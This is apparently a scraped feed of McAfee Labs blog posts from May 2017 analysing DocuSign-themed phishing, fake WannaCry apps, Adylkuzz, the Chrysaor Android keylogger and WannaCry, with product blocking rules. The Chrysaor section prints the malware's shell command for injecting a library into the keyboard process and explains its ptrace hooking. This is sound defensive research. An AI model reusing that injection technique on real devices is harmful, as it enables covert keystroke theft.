DocuSign, which provides electronic signatures and digital transaction management, reported that email addresses were stolen by an unknown party on May 15. Although the company confirmed that no personal information was shared, DocuSign has reported that a malicious third party gained temporary access to a separate, non-core system that allows it to communicate service-related announcements to users via email. This incident has left a lot of DocuSign individual users and business professionals vulnerable, because the attacker group is trying to exploit the users through phishing emails. Users are receiving mails on their corporate email IDs, in which they are asked to review and sign job-related documents such as accounting invoices, by clicking on the “Review Document” hyperlink in the malicious documents.

Spam email.

The phishing link downloads a document file consisting of malicious code, which when opened injects malware in the system’s process svchost.exe.

Process injection.

The injected process sends a request to the following URLs:

Contacting the remote host.

The malware receives the response:

Response from server.

The response is an encrypted file that could be any of three types:

  • DLL: The common password stealer Pony Loader, aka Fareit.
  • EXE: A similar variant known as Evil Pony.
  • EXE ZLoader: For loading exploit kits and other malware.

The compressed and encrypted stealer component.

The files are aplib compressed and XOR encrypted. The download has to first be decompressed and then decrypted. The first 8 bytes of the file are the XOR key.

The decrypted stealer component.

The DLL file uses a lot of anti-debugging techniques to avoid analysis. It also creates a mutex to avoid its own multiple instances running on the same machine.

Creating the mutex.

The DLL, Pony Loader, steals the username, password, and other information. The following screenshots show code for stealing user credentials from Chrome and Outlook.

Code for stealing Chrome credentials.

Code for stealing Outlook credentials.

The EXE, Evil Pony, steals credentials from FileZilla:

Code for stealing FileZilla credentials.

Once downloaded, these malware monitor a user’s keystrokes, capture personal information such as usernames and passwords, and send this information to the malware originator.

DocuSign has reported that they have taken quick measures to block the unauthorized access and have added further security to their systems. The company has also advised its users to keep their antimalware software updated.

McAfee urges all customers to ensure McAfee’s DAT updates have been applied to ensure the latest protection. We advise customers to be diligent in applying security updates for all the software they use.

SHA256 hashes of the analyzed samples:

  • fff786ec23e6385e1d4f06dcf6859cc2ce0a32cee46d8f2a0c8fd780b3ecf89a: W97M/Dropper.cu
  • 5bcd2d8ed243d6a452d336c05581291bc63ee489795e8853b9b90b5f35c207d8: RDN/Generic PWS.y
  • 437351c9ae0a326ed5f5690e99afc6b723c8387f1ed87c39ebcce85f9103c03a: Fareit-FCH
  • 9f346deed73194928feda785dca92add4ff4dd19fbc1352cebaa6766e0f69a38: Generic PWS.o

The post Misuse of DocuSign Email Addresses Leads to Phishing Campaign appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/mcafee-labs/misuse-of-docusign-email-addresses-leads-to-phishing-campaign/feed/ 0
Fake WannaCry ‘Protectors’ Emerge on Google Play https://securingtomorrow.mcafee.com/mcafee-labs/fake-wannacry-protectors-emerge-google-play/ https://securingtomorrow.mcafee.com/mcafee-labs/fake-wannacry-protectors-emerge-google-play/#respond Tue, 23 May 2017 23:00:28 +0000 https://securingtomorrow.mcafee.com/?p=74414 Are Android devices affected by the self-propagating ransomware WannaCry? No—because this threat exploits a vulnerability in Microsoft Windows. This malware cannot harm mobile systems. Nonetheless, some developers are taking advantage of the uproar and possible confusion to promote apps that promise to protect Android devices. While searching for “WannaCry” on GooglePlay we found several new …

The post Fake WannaCry ‘Protectors’ Emerge on Google Play appeared first on McAfee Blogs.

]]>
Are Android devices affected by the self-propagating ransomware WannaCry? No—because this threat exploits a vulnerability in Microsoft Windows. This malware cannot harm mobile systems. Nonetheless, some developers are taking advantage of the uproar and possible confusion to promote apps that promise to protect Android devices.

While searching for “WannaCry” on GooglePlay we found several new apps. Most are guides—web views, images, or text reminding us to patch Windows, as well as jokes and wallpapers. However, a few apps claim to “protect” Android devices against this Windows-only threat.

One case is the package wannacry.ransomware.protection.antivirus, which we classified as a potentially unwanted program because we see no value in an app that offers fake features and tricks unwary users into downloading an app loaded with ads.

Once the program executes it displays ads and requests that you install more sponsored apps:

All the “features” offered by WannaCry Ransomware Protection are fake; the only function in this app is a repacked scanner that can detect the presence of a few ad libraries. For that reason and in spite of the preceding warning message, it is clear the developers put little time into this development. The app even labels itself Medium Risk (SHA256 hash f9dabc8edee3ce16d5688757ae18e44bafe6de5368a82032a416c8c866686897).

On Google Play we observed another fake security solution offering similar fraudulent features: com.neufapps.antiviruswannacry (SHA256 hash f9dabc8edee3ce16d5688757ae18e44bafe6de5368a82032a416c8c866686897):

Some of these apps even have very good reviews, which tells us something about the value of online reviews:

We did not find any malware in these apps offering fake protection against WannaCry, but cybercriminals often seize the opportunity of trending topics like this—as we have seen with Flash Player for Android, Pokémon Go, Mario Run, Minecraft, etc.—to distribute malicious payloads even on official apps markets.

The McAfee Labs Mobile Malware Research team has contacted Google about removing these apps. Meanwhile users must remain aware of these kinds of fake solutions that only increase your risk.

 

The post Fake WannaCry ‘Protectors’ Emerge on Google Play appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/mcafee-labs/fake-wannacry-protectors-emerge-google-play/feed/ 0
How to Protect Against WannaCry Ransomware in a McAfee Environment https://securingtomorrow.mcafee.com/mcafee-labs/protect-wannacry-ransomware-mcafee-environment/ https://securingtomorrow.mcafee.com/mcafee-labs/protect-wannacry-ransomware-mcafee-environment/#respond Thu, 18 May 2017 00:37:23 +0000 https://securingtomorrow.mcafee.com/?p=74124 WannaCry is a ransomware family targeting Microsoft Windows. On Friday May 12, a large cyberattack based on this threat was launched. At this time, it is estimated that more than 250,000 computers in 150 countries have been infected, each demanding a ransom payment.

The post How to Protect Against WannaCry Ransomware in a McAfee Environment appeared first on McAfee Blogs.

]]>
This post was updated on May 31 with links to three McAfee community videos concerning WannaCry ransomware. 

WannaCry Ransomware – McAfee ATP: Highlighting the value of Adaptive Threat Protection
WannaCry Ransomware – DAC/ATD: Highlighting the value of malware analytics
WannaCry Ransomware – McAfee MAR: Highlighting the value of Cloud Threat Analytics

 

WannaCry is a ransomware family targeting Microsoft Windows. On Friday May 12, a large cyberattack based on this threat was launched. At this time, it is estimated that more than 250,000 computers in 150 countries have been infected, each demanding a ransom payment.

The initial attack vector is unclear, but an aggressive worm helps spread the ransomware. A critical patch was released by Microsoft on March 14 to remove the underlying vulnerability in supported versions of Windows, but many organizations have not yet applied this patch.

Computers running unsupported versions of Windows (Windows XP, Windows Server 2003) did not have an available patch, but Microsoft released a security patch for Windows XP and Windows Serve 2003 over the weekend.

Detailed technical analyses of the WannaCry ransomware can be found here (posted May 12) and here (May 14).

 

How McAfee products can protect against WannaCry ransomware

McAfee is leading the way enterprises protect against emerging threats such as WannaCry ransomware, remediate complex security issues, and combat attacks with an intelligent end-to-end security platform that provides adaptable and continuous protection as a part of the threat defense lifecycle.

McAfee had zero-day protection for components of the initial WannaCry attack in the form of behavioral, heuristic, application control, and sandbox analyses. This post provides an overview of those protections with the following products:

  • McAfee Network Security Platform (NSP)
  • McAfee Host Intrusion Prevention (HIPS)
  • McAfee Endpoint Protection (ENS)
  • McAfee VirusScan Enterprise (VSE)
  • McAfee Advanced Threat Defense (ATD)
  • McAfee Web Gateway (MWG)
  • McAfee Threat Intelligence Exchange (TIE)

Frequently updated technical details can be found in the McAfee Knowledge Center article KB89335.

 

McAfee Network Security Platform (NSP)

McAfee NSP is one product that quickly responds to prevent exploits and protect assets within networks. The McAfee NSP team works diligently to develop and deploy user-defined signatures (UDS) for critical matters. Within a 24-hour period, several UDS were created and uploaded for customers to deploy on their network sensors. In this case, the UDS explicitly targeted the exploit tools EternalBlue, Eternal Romance SMB Remote Code Execution, and DoublePulsar. There were also related indicators of compromise that were released which could be added to a blacklist to block potential threats associated with the original Trojan.

NSP signatures:

  • 0x43c0b800—NETBIOS-SS: Windows SMBv1 identical MID and FID type confusion vulnerability (CVE-2017-0143)
  • 0x43c0b400—NETBIOS-SS: Windows SMB Remote Code Execution Vulnerability (CVE-2017-0144)
  • 0x43c0b500—NETBIOS-SS: Windows SMB Remote Code Execution Vulnerability (CVE-2017-0145)
  • 0x43c0b300—NETBIOS-SS: Microsoft Windows SMB Out of Bounds Write Vulnerability (CVE-2017-0146)
  • 0x43c0b900—NETBIOS-SS: Windows SMBv1 Information Disclosure Vulnerability (CVE-2017-0147)

The NSP Research Team has reviewed the information for CVE-2017-0148 and has created the following UDS:

  • NETBIOS-SS: MS17-010 EternalBlue SMB Remote Code Execution
  • NETBIOS-SS: SMB DoublePulsar Unimplemented Trans2 Session Setup Subcommand Request
  • HTTP: Windows Kernel Information Disclosure Vulnerability (CVE-2017-0175)
  • HTTP: Microsoft Windows Edge IE Mixed Content Warnings Bypass Vulnerability (CVE-2017-0064)
  • HTTP: Microsoft Scripting Engine Memory Corruption Vulnerability (CVE-2017-0234)
  • HTTP: Microsoft Scripting Engine Memory Corruption Vulnerability (CVE-2017-0236)

The UDS is available from KB55447 only for registered users. Log in to https://support.mcafee.com to access the article.

 

McAfee Host Intrusion Prevention (HIPS)

McAfee HIPS 8.0 with NIPS Signature 6095 (which will be released on May 16), provides protection against all four of the preceding known variants of WannaCry.

For the interim period, HIPS custom signatures can be created to protect against the encryption of files. Refer to KB89335 for the latest information on these configurations.

Custom Sig #1: WannaCry Registry Blocking Rule

Use Standard Subrule

Rule Type = Registry

Operations = Create, Modify, Change Permissions

Parameters, include Registry Key

Registry Key =  \REGISTRY\MACHINE\SOFTWARE\WanaCrypt0r

Executable = *

Custom Sig #2: WannaCry File/Folder Blocking Rule

Use Standard Subrule

Rule Type = Files

Operations = Create, Write, Rename, Change read-only/hidden attributes,

Parameters, include Files

Files = *.wnry

Executable = *

 

McAfee Endpoint Protection (ENS) and McAfee VirusScan Enterprise (VSE)

McAfee recommends the following Adaptive Threat Protection configurations to protect against the WannaCry exploit and unknown variants.

 

McAfee Endpoint Security 10.5—Adaptive Threat Protection

McAfee Endpoint Security 10.5 with Adaptive Threat Protection Real Protect & Dynamic Application Containment (DAC) provides protection against known or unknown exploits for WannaCry.

  1. Configure the following setting in the Adaptive Threat Protection—Options Policy:

Rule Assignment = Security (default setting is balanced)

  1. Configure the following rules in the Adaptive Threat Protection—Dynamic Application Containment policy:

Dynamic Application Containment—Containment Rules

(Refer to KB87843–Best Practices for ENS Dynamic Application Containment Rules and set the recommended DAC rules to “Block” as prescribed.)

 

Content Dependent Security Products

McAfee Endpoint Security 10.1, 10.2, and 10.5—Threat Prevention

McAfee Endpoint Security 10.x Threat Prevention with AMCore content Version 2978 or later provides protection against all four of the preceding currently known variants of WannaCry.

 

McAfee VirusScan Enterprise 8.8

McAfee VirusScan Enterprise 8.8 with DAT content 8527 or later provides protection against all four of the preceding currently known variants of WannaCry.

 

McAfee Endpoint Protection (ENS) and McAfee VirusScan Enterprise (VSE) Access Protection proactive measures

The McAfee ENS and McAfee VSE Access Protection rules will prevent the creation of the .wnry file. This rule prevents the encryption routine, which creates encrypted files that contain a .wncryt, .wncry, or .wcry extension. By implementing the block against .wnry files, other blocks are not necessary for the encrypted file types.

Use McAfee VSE Access Protection rules:

Rule1:

Rule Type: Registry Blocking Rule
Process to include: *
Registry key or value to protect: HKLM—/Software/WanaCrypt0r
Registry key or value p protect: Key
File actions to prevent: Create key or value.

Rule2:

Rule Type: File/Folder Blocking Rule
Process to include: *
File or folder name to block: *.wnry
File actions to prevent: New files being created

Use McAfee ENS Access Protection rules:

Rule1:

Executable1:

Inclusion: Include
File Name or Path: *

SubRule1:

SubRule Type: Registry key
Operations: Create
Target1:

Inclusion: Include
File, folder name, or file path: *\Software\WanaCrypt0r

SubRule2:

SubRule Type: Files
Operations: Create
Target1:

Inclusion: Include
File, folder name, or file path: *.wnry

McAfee ENS Dynamic Application Containment rules triggered by Ransom-WannaCry variants:

Rule1:

Rule Name: Executing any child process

Rule2:

Rule Name: Accessing user cookie locations

Rule3:

Rule Name: Creating files with the .html, .jpg, or .bmp extension

Rule4:

Rule Name: Creating files with the .exe extension

Rule5:

Rule Name: Modifying users’ data folders

Rule6:

Rule Name: Modifying startup registry locations

Rule7:

Rule Name: Modifying critical Windows files and registry locations

Rule8:

Rule Name: Reading or modifying files on any network location

Rule9:

Rule Name: Modifying files with the .bat extension

Rule10:

Rule Name: Modifying files with the .vbs extension

Rule11:

Rule Name: Creating files with the .bat extension

Rule12:

Rule Name: Reading files commonly targeted by ransomware-class malware

Rule13:

Rule Name: Creating files on any network location

Rule14:

Rule Name: Writing to files commonly targeted by ransomware-class malware

Rule15:

Rule Name: Modifying the hidden attribute bit

 

Configure your endpoint security system to protect against file encryption from WannaCry (and future unknown variants)

Customers not using McAfee ENS Adaptive Threat Protection security may not have McAfee-defined content protection against not yet released variants. We recommend configuring repository update tasks with a minimal refresh interval to ensure new content is applied when it is released by McAfee.

Additional protections against the encryption routine can be configured using McAfee VSE/ENS Access Protection rules, or McAfee HIPS custom rules. Refer to KB89335 for the latest information on these configurations.

McAfee VSE and McAfee ENS Access Protection rules, and McAfee HIPS customer signature will prevent the creation of the .wnry file.

The rules prevent the encryption routine, which creates encrypted files that contain a .wncryt, .wncry, or .wcry extension.

By implementing the block against .wnry, other blocks are not necessary for the encrypted file types.

Refer to KB89335 (accessible to McAfee registered customers) for the latest information on these configurations.

 

McAfee Advanced Threat Defense (ATD)

McAfee ATD machine learning can convict a sample on a “medium severity” analysis.

McAfee ATD has observed the following:

Behavior classification:

  • Obfuscated file
  • Spreading
  • Exploitation through shellcode
  • Network propagation

Dynamic analysis:

  • Elicited ransomware behavior
  • Encryption of files
  • Created and executed suspicious scripting content
  • Behaved like a Trojan macro dropper

McAfee ATD observed 22 process operations, including five runtime DLLs, 58 file operations, registry modifications, file modifications, file creations (dll.exe), DLL injections, and 34 network operations.

Further analysis continues on other variants. McAfee is identifying what other behaviors can be extracted to detect future attacks.

 

McAfee Web Gateway (MWG)

McAfee Web Gateway (MWG) is a product family (appliance, cloud, and hybrid) of web proxies that provides immediate protection against WannaCry variants delivered through the web (HTTP/HTTPS) using multiple real-time scanning engines.

Known variants will be blocked by McAfee Global Threat Intelligence (GTI) reputation and antimalware scanning as web traffic is processed through the proxy.

The Gateway Anti-Malware (GAM) engine within MWG provides effective prevention of variants that have not yet been identified with a signature (“zero-day” threats) through its process of behavior emulation, conducted on files, HTML, and JavaScript. Emulators are regularly fed intelligence by machine learning models. GAM runs alongside GTI reputation and antimalware scanning as traffic is processed.

Coupling MWG with ATD allows for further inspection and an effective prevention and detection approach.

 

McAfee Threat Intelligence Exchange (TIE)

McAfee Threat Intelligence Exchange (TIE) further enhances a customer’s security posture. With the ability to aggregate reputation verdicts from ENS, VSE, MWG, and NSP, TIE can quickly share reputation information related to WannaCry with any integrated vector. By providing the ability to use GTI for a global reputation query, TIE also enables integrated products to make an immediate decision prior to execution of the ransomware payload, leveraging the reputation cached in the TIE database.

As one endpoint protects, detects from any related variants, and updates the reputation score to TIE, this fully encompassing approach extends protection to endpoints by disseminating this information to all endpoints integrated with TIE. This bidirectional sharing of threat intelligence is duplicated in capability with MWG and NSP. Thus, as the potential threat attempts to infiltrate through the network or web, MWG and NSP will provide protection and detection and share this intelligence with TIE to inoculate endpoints—immediately protecting the enterprise with no further execution of the convicted variant on a potential “patient zero” in the environment.

 

 

 

The post How to Protect Against WannaCry Ransomware in a McAfee Environment appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/mcafee-labs/protect-wannacry-ransomware-mcafee-environment/feed/ 0
Adylkuzz CoinMiner Spreading Like WannaCry https://securingtomorrow.mcafee.com/mcafee-labs/adylkuzz-coinminer-spreading-like-wannacry/ https://securingtomorrow.mcafee.com/mcafee-labs/adylkuzz-coinminer-spreading-like-wannacry/#respond Wed, 17 May 2017 22:40:28 +0000 https://securingtomorrow.mcafee.com/?p=74265 The last few days have been very busy for security teams all around the globe due to the nasty ransomware WannaCry, which spread widely using an exploit for a Server Message Block v1 vulnerability (MS17-010) leaked by the ShadowBroker team a few weeks ago. We have reported on this malware in our previous blog and …

The post Adylkuzz CoinMiner Spreading Like WannaCry appeared first on McAfee Blogs.

]]>
The last few days have been very busy for security teams all around the globe due to the nasty ransomware WannaCry, which spread widely using an exploit for a Server Message Block v1 vulnerability (MS17-010) leaked by the ShadowBroker team a few weeks ago. We have reported on this malware in our previous blog and in a few others by our fellow McAfee researchers.

Today we learned that another malware family is using the same exploit to spread itself to vulnerable machines. The malware Adylkuzz is a CoinMiner malware, which means that it employs—without user consent—machine resources to mine coins for virtual currencies. This specific variant was used to mine Monero coins.

This CoinMiner is not a new variant. We have seen samples as old as October 2014, but it has increased in usage since April. Online reports mention that this malware have infected machines after a successful exploitation of the MS17-010 vulnerability followed by the installation of the backdoor malware EternalBlue/DoublePulsar.

Adylkuzz has not changed much in all these years, as we can see by comparing the code among the different waves. For example, the following graphs represent code differences between the October 2014 variant and the first wave starting in April this year:

The number of functions that changed was very small:

  • Identical functions: 1,553
  • Matched functions: 18
  • Unmatched functions: 167

The same can be seen between the April variant and the latest samples received:

  • Identical functions: 1,617
  • Matched functions: 0
  • Unmatched functions: 178

Because the malware has not changed and does not contain any code to exploit the SMB v1 vulnerability, we believe that some actor is leveraging the vulnerability by scanning remote hosts using a tool such as Metasploit and installing the CoinMiner malware via the DoublePulsar backdoor. A porting of the MS17-010 exploit is already available for Metasploit.

As this is old malware, McAfee has long had detection for it. We detect most of the samples as Packed-GV!<partial_md5> and Raiden detection RDN/Generic.grp.

Customers might also want to follow the generic guidelines for blocking, whenever possible, the network ports used by the exploit (TCP/445 and UDP/137) to avoid further infections.

We will update our readers about this malware as we learn more.

The post Adylkuzz CoinMiner Spreading Like WannaCry appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/mcafee-labs/adylkuzz-coinminer-spreading-like-wannacry/feed/ 0
Analysis of Chrysaor Keylogging Mechanism Shows Power of Simple Malicious Code https://securingtomorrow.mcafee.com/mcafee-labs/analysis-chrysaor-keylogging-mechanism-shows-power-simple-malicious-code/ https://securingtomorrow.mcafee.com/mcafee-labs/analysis-chrysaor-keylogging-mechanism-shows-power-simple-malicious-code/#comments Mon, 15 May 2017 22:31:31 +0000 https://securingtomorrow.mcafee.com/?p=74083 Many attacks on mobile devices use social engineering to initially infect a victim’s system. They download malware and elevate privileges by exploiting vulnerabilities. Mobile malware often uses persistence mechanisms to hide and monitor the victim’s behavior. Unlike personal computers, mobile devices are used more often by their owners, and carry sensitive information such as phone …

The post Analysis of Chrysaor Keylogging Mechanism Shows Power of Simple Malicious Code appeared first on McAfee Blogs.

]]>
Many attacks on mobile devices use social engineering to initially infect a victim’s system. They download malware and elevate privileges by exploiting vulnerabilities. Mobile malware often uses persistence mechanisms to hide and monitor the victim’s behavior. Unlike personal computers, mobile devices are used more often by their owners, and carry sensitive information such as phone numbers, personal images, SMS messages, and other data that can be used to socially engineer more victims. Furthermore, mobile devices have cameras, microphones, and GPS that can be used to spy on the targets. Infected mobile devices expose users to greater risks than infected computers.

Recently Google and Lookout published information about the Android version of surveillance malware Pegasus (also known as Chrysaor, the brother of Pegasus in Greek myth). Pegasus infections were a big story last year. This year’s attacks are called Chrysaor (by Google) or Pegasus (by Lookout). When Chrysaor is installed, it leaks data of popular apps and remotely controls the device. The Lookout report covers all the features of the Chrysaor malware, but only briefly explains how the malware injects code and installs a hook for keylogging. We decided to analyze the Chrysaor sample in more detail to understand how its keylogging works. We analyzed the sample with the SHA-256 hash ade8bef0ac29fa363fc9afd958af0074478aef650adeb0318517b48bd996d5d5.

Overview

The basic keylogging process.

The sample has two main binaries related to keylogging: addk.so and libk.so. When the sample executes, the former is copied to /data/local/tmp/inulmn and the latter to /data/local/tmp/libuml.so. The addk.so file injects shellcode into the memory space of the keyboard process (Step 1 in the preceding graphic). When the shellcode runs, it loads libk.so and calls the function init() (Step 2). This function installs a hook to capture user keystrokes to a file (Step 3).

To log keystrokes, a superuser binary, which manages access to root privileges, must be positioned at /system/csk or the keylogging code will not execute.

Checking for the superuser binary.

The following code shows part of a system command string for injecting /data/local/tmp/libuml.so to the keyboard process using the binary /data/local/tmp/inulmn.

Code for constructing the command string.

The fully constructed string:

chown 0.0 /data/local/tmp/inulmn ;

chown 0.0 /data/local/tmp/libuml.so ;

chmod 0777 /data/local/tmp/inulmn ;

chmod 0777 /data/local/tmp/libuml.so ;

/data/local/tmp/inulmn <pid of keyboard process> /data/local/tmp/libuml.so init;

We can see that /data/local/tmp/inulmn executes, passing the process ID of the target process (the keyboard), the name of the binary to inject (/data/local/tmp/libuml.so), and the function to execute (init) as command-line parameters.

Finding the current input method process

To log user keystrokes, Chrysaor first queries the value of DEFAULT_INPUT_METHOD in secure system settings. This records the input method used by default and gets the method’s ID.

Gathering the ID of the system’s default input method (keyboard).

The malware then searches for the input method (keyboard) process in the list of running processes using the ID. When found, the malware extracts the ID of the process so that it can inject the code.

Code searching for ID of the keyboard process.

Injecting code

Once Chrysaor has found the ID of the keyboard process, it tries to inject its code and hook the function to log keystrokes. The native library addk.so allows the injecting of code into the keyboard process and executing certain functions using the ptrace API. Addk.so gains the target process’ PID, the path of the .so file to inject, and the function to execute as parameters. With this information, the malware finds the function addresses of APIs such as dlsym(), dlopen(), and mmap() in the target process’ memory space using the proc filesystem.

Dynamically finding the addresses of APIs.

Using the /proc file system to search the memory space of the keyboard process.

The function address information is saved in the data segment adjacent to the shellcode, which executes the functions injected into the target process. The following image shows the shellcode that is copied to the target process’ memory space. The memory addresses in red boxes are resolved at runtime.

Shellcode for executing the injected functions.

Memory layout of shellcode and data.

The shellcode and related data such as API addresses, strings passed as function parameters, saved registers, and so on are all close together so they can be copied with one operation.

After addk.so attaches to the keyboard process and copies the shellcode and related API addresses to the mmaped area using PTRACE_POKETEXT, the shellcode is executed by setting a return frame to the shellcode address with PTRACE_SETREGS. The shellcode calls dlopen(), using the copied remote address, to load the binary and call the injected function. Libk.so calls the init() function, which installs a hook for keylogging. Addk.so passes the string “test” as a parameter of the injected function.

Logging keystrokes

The init() function installs an inline hook at the beginning of the IPCThreadState transact() function and logs the keystrokes.

Hooking the function IPCThreadState transact().

The following diagram shows the execution flow when the inline hook is installed on the transact() function:

Execution flow after hooking.

The Init() function overwrites the first 8 bytes of transact() with an 8-byte hook code that jumps to the keylogger. The original 8 bytes are copied to a separate memory space that has stub code for jumping back to the transact() function.

When the transact() function is called (Step 1), the installed keylogger executes first due to the hook code. The keylogger checks the function code to see whether it is 0x6 (setComposingText) or 0x8 (commitText). If true, the function calls android::Parcel::enforceInterface(“com.android.internal.view.IInputContext”) and reads the keystroke data from the parcel and logs it to a file. After the keylogging is complete (Step 2), the function executes the 8 bytes of instructions that were copied from the start of the transact() function. Finally the stub code runs (Step 3), which jumps back to transact() at offset +8.

Code to check the function code for keylogging.

The data passed to the transact() function when the function code is 0x6 or 0x8 is the character sequence of the user’s input. This value is encoded and written to /data/local/tmp/ktmu/ulmndd.tmp. After some time passes, this file is renamed to /data/local/tmp/ktmu/finidk.<timestamp>.

Logging keystrokes to a file.

Conclusion

We have looked at how simple code can log user keystrokes in mobile devices. If the infected mobile device is an executive’s company phone, the situation is worse. An executive’s phone may contain corporate or business secrets, plus contacts of other executives, which can have a huge negative business impact if leaked. The mobility of phones requires they be treated differently than desktop computers from an incident-response perspective: It is more difficult to trace data leaks because of the characteristics of mobile devices. Thus organizations must create incident-response and other security policies for mobile devices. If corporations cannot secure their mobile devices, they are exposing a huge attack surface to cybercriminals.

Never install Android applications from unknown sources and always keep your device’s operating system up to date to help protect against attacks. These simple steps will significantly lower the chances of infection. If your device quickly loses battery power or generates an abnormal amount of network traffic, it may have been compromised—requiring a factory reset or a security solution to delete malware.

The post Analysis of Chrysaor Keylogging Mechanism Shows Power of Simple Malicious Code appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/mcafee-labs/analysis-chrysaor-keylogging-mechanism-shows-power-simple-malicious-code/feed/ 1
Further Analysis of WannaCry Ransomware https://securingtomorrow.mcafee.com/mcafee-labs/analysis-wannacry-ransomware/ https://securingtomorrow.mcafee.com/mcafee-labs/analysis-wannacry-ransomware/#respond Sun, 14 May 2017 21:25:15 +0000 https://securingtomorrow.mcafee.com/?p=74016 McAfee Labs has closely monitored the activity around the ransomware WannaCry. Many sources have reported on this attack and its behavior, including this post by McAfee’s Raj Samani and Christiaan Beek and this post by Steve Grobman. In the last 24 hours, we have learned more about this malware. These findings mainly concern the malware’s …

The post Further Analysis of WannaCry Ransomware appeared first on McAfee Blogs.

]]>
McAfee Labs has closely monitored the activity around the ransomware WannaCry. Many sources have reported on this attack and its behavior, including this post by McAfee’s Raj Samani and Christiaan Beek and this post by Steve Grobman. In the last 24 hours, we have learned more about this malware. These findings mainly concern the malware’s network propagation, Bitcoin activity, and differences in observed variants.

Malware network behavior

WannaCry uses the MS17-010 exploit to spread to other machines through NetBIOS. The malware contains exploits in its body that are used during the exploitation phase. These are related to CVE-2017-0143, CVE-2017-0144, CVE-2017-0145, CVE-2017-0146, CVE-2017-0147, and CVE-2017-0148, all based on the MS17-10 security bulletin.

In many reports we read that the malware generates a list of internal IPs. We found that the malware generates random IP addresses, not limited to the local network. The following is an example attempt at propagation:

With this, the malware can spread not only to other machines in same network, but also across the Internet if sites allow NetBIOS packets from outside networks. This could be one reason for the widespread infection seen in this outbreak and why many people are unsure about the initial infection vector of the malware.

Another interesting characteristic of the malware is that once a machine with an open NetBIOS port is found, the malware will send three NetBIOS session setup packets to it. One has the proper IP of the machine being exploited, and the other two contain two IP addresses hardcoded in the malware body:

The preceding packet contains the IP of the machine being exploited. It uses the test network 192.168.0.0/24. The other two packets, below, contain different IPs that the malware has in its code:

This activity and the presence of two hardcoded IP addresses (192.168.56.20, 172.16.99.5) could be used to detect the exploit using network intrusion prevention systems.

Server message block (SMB) packets also contain the encrypted payload, which consists of exploit shellcode and the file launcher.dll. During our analysis, we found the malware is encrypted using a 4-byte XOR key, 0x45BF6313.

Encrypted payload with the key 0x45BF6313.

Decrypted launcher.dll payload.

We also found following x64 shellcode being transferred during network communication over SMB.

EternalBlue code.

DoublePulsar code.

Worm behavior

Machine A at left, Machine B at right. 

The infection flow to the vulnerable host (Machine B).

Kernel mode at left, user mode at right.

 

Infection using kernel exploit

In our analysis, we found that on infected machines the SMB driver srv2.sys is vulnerable in kernel module and is exploited by the malware to spread using SMB communication.

A compromised srv2.sys will inject launcher.dll into the user-mode process lsass.exe, which acts as the loader for mssecsvc.exe. This DLL contains only one export, PlayGame:

The code simply extracts the ransomware dropper from the resource shown previously, and starts it using the function CreateProcess:

 

Injected launcher.dll in the lsass.exe address space.

Malware variants in the wild

As reported by several sources, the malware dropper contains code to check to two specific domains before executing its ransomware or the network exploit codes.

  • hxxp://www[dot]iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea[dot]com
  • hxxp://www[dot]ifferfsodp9ifjaposdfjhgosurijfaewrwergwea[dot]com

While looking for more samples in our malware database, we came across several other droppers (MD5: 509C41EC97BB81B0567B059AA2F50FE8) that did not exhibit this same behavior. These other droppers did not have the code to exploit machines through NetBIOS or to check for the kill-switch domain. With these samples, the ransomware code would be executed in all cases.

These samples were found in the wild, which means they are capable of infecting and spreading, but in a much less aggressive way. Once the ransomware infects a machine, it also tries to infect any network shares mounted as local disks. Anyone accessing these shares could execute the malware sample by mistake and infect themselves. This infection vector is not as effective as the network exploit but could nonetheless wreak havoc in a corporate environment.

We also examined the droppers (for example, MD5: DB349B97C37D22F5EA1D1841E3C89EB4) that had the exploit code to compare with the other samples. We found that this exploit-aware dropper is a wrapper around the other droppers.

Looking at the exploit-aware sample, we found that one of the resources contains a 3.4MB .exe file that is the same as the other type of droppers:

The preceding resource is extracted after the remote host is exploited and sent to the victim and installed as a service. This event starts the infection on the remote machine.

File decryption

WannaCry offers free decryption for some random number of files in the folder C:\Intel\<random folder name>\f.wnry. We have seen 10 files decrypted for free.

In the first step, the malware checks the header of each encrypted file. Once successful, it calls the decryption routine, and decrypts all the files listed in C:\Intel\<random folder name>\ f.wnry.

A code snippet of the header check:

The format of the encrypted file:

To decrypt all the files on an infected machine we need the file 00000000.dky, which contains the decryption keys. The decryption routine for the key and original file follows:

Bitcoin activity

WannaCry uses three Bitcoin wallets to receive payments from its victims. Looking at the payment activity for these wallets gives us an idea of how much money the attackers have made.

The current statistics as of May 13 show that not many people have paid to recover their files:

  • Wallet 12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw
  • Wallet 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94
  • Wallet 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn

The attackers appear to have earned a little over BTC 15.44 (US$27,724.22). That is not much considering the number of infected machines, but these numbers are increasing and might become much higher in the next few days. It’s possible that the sink holing of two sites may have helped slow things down:

  • hxxp://www[dot]iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea[dot]com
  • hxxp://www[dot]ifferfsodp9ifjaposdfjhgosurijfaewrwergwea[dot]com

Multiple organizations across more than 90 countries have been impacted, according to reports.

We will update this blog as we learn more.

The post Further Analysis of WannaCry Ransomware appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/mcafee-labs/analysis-wannacry-ransomware/feed/ 0
WannaCry: The Old Worms and the New https://securingtomorrow.mcafee.com/executive-perspectives/wannacry-old-worms-new/ https://securingtomorrow.mcafee.com/executive-perspectives/wannacry-old-worms-new/#comments Sat, 13 May 2017 05:42:14 +0000 https://securingtomorrow.mcafee.com/?p=73980 The morning of Friday, May 12 multiple sources in Spain began reporting an outbreak of the ransomware now identified as WannaCry. Upon learning of these incidents, McAfee immediately began working to analyze samples of the ransomware and develop mitigation guidance and detection updates for its customers. By Friday afternoon, McAfee’s Global Threat Intelligence system was …

The post WannaCry: The Old Worms and the New appeared first on McAfee Blogs.

]]>
The morning of Friday, May 12 multiple sources in Spain began reporting an outbreak of the ransomware now identified as WannaCry.

Upon learning of these incidents, McAfee immediately began working to analyze samples of the ransomware and develop mitigation guidance and detection updates for its customers.

By Friday afternoon, McAfee’s Global Threat Intelligence system was updated to identify all known WannaCry samples and the company had delivered DAT signature updates to all its customers.

